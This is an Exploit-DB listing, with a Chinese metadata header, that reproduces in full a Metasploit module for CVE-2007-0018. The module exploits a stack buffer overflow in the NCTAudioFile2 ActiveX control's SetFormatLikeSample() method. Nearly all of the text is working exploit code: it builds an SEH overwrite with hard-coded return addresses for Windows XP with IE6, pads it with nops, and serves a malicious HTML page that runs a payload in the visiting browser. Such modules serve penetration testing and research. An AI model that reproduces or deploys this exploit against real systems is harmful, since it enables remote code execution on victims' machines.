标题: NCTAudioFile2 2.x - ActiveX Control 'SetFormatLikeSample()' Remote Buffer Overflow (Metasploit) EDB-ID: 16603 CVE: 2007-0018 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: nctaudiofile2_setformatlikesample.rb 9668 2010-07-03 01:38:15Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'NCTAudioFile2 v2.x ActiveX Control SetFormatLikeSample() Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the NCTAudioFile2.Audio ActiveX
    Control provided by various audio applications. By sending a overly long
    string to the "SetFormatLikeSample()" method, an attacker may be able to
    execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC', 'dookie', 'jduck' ],
   'Version'        => '$Revision: 9668 $',
   'References'     =>
    [
     [ 'CVE', '2007-0018' ],
     [ 'OSVDB', '32032' ],
     [ 'BID', '22196' ],
     [ 'US-CERT-VU', '292713' ],
     [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/062911.html' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 2048,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # tested with:
     #
     # BearShare 6.0.2.26789 (NCTAudioFile2.dll v2.5.7.514)
     # BearShare 6.0.0.22717 (NCTAudioFile2.dll v2.5.7.514)
     # Magic Audio Editor Pro v10.3.11 (NCTAudioFile2.dll v2.6.1.643)
     # Magic Audio Editor Pro v10.3.15.1 (NCTAudioFile2.dll v2.6.1.643)
     #
     [ 'Windows XP SP2/SP3 Pro English (IE6)',
      {
       'PopPopRet' => 0x746C15A9, # p/p/r in msls31.dll (ie6)
       'jmp esp' => 0x774699bf, # user32.dll (xp sp2 and sp3)
      }
     ],
    ],
   'DisclosureDate' => 'Jan 24 2007',
   'DefaultTarget'  => 0))
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname = rand_text_alpha(rand(100) + 1)
  strname = rand_text_alpha(rand(100) + 1)

  # dual targeting super fun..
  sploit = p.encoded
  sploit << rand_text_alpha(4100 - p.encoded.length)

  # if seh is triggered, we'll use a pop/pop/ret
  seh = generate_seh_record(target['PopPopRet'])
  sploit << seh

  # padding
  sploit << make_nops(16 - seh.length)

  # otherwise, we need to jump to the stack
  sploit << [target['jmp esp']].pack('V')
  sploit << make_nops(32)

  # jump back to the payload :)
  sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x1000").encode_string

  # try to ensure SEH is triggered..
  sploit << rand_text_alpha(1000) * 18

  # Build out the message
  content = %Q|
<html>
<body>
<object classid='clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC' id='#{vname}'></object>
<script language='javascript'>
var #{vname} = document.getElementById('#{vname}');
var #{strname} = new String('#{sploit}');
#{vname}.SetFormatLikeSample(#{strname});
</script>
</html>
|

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16603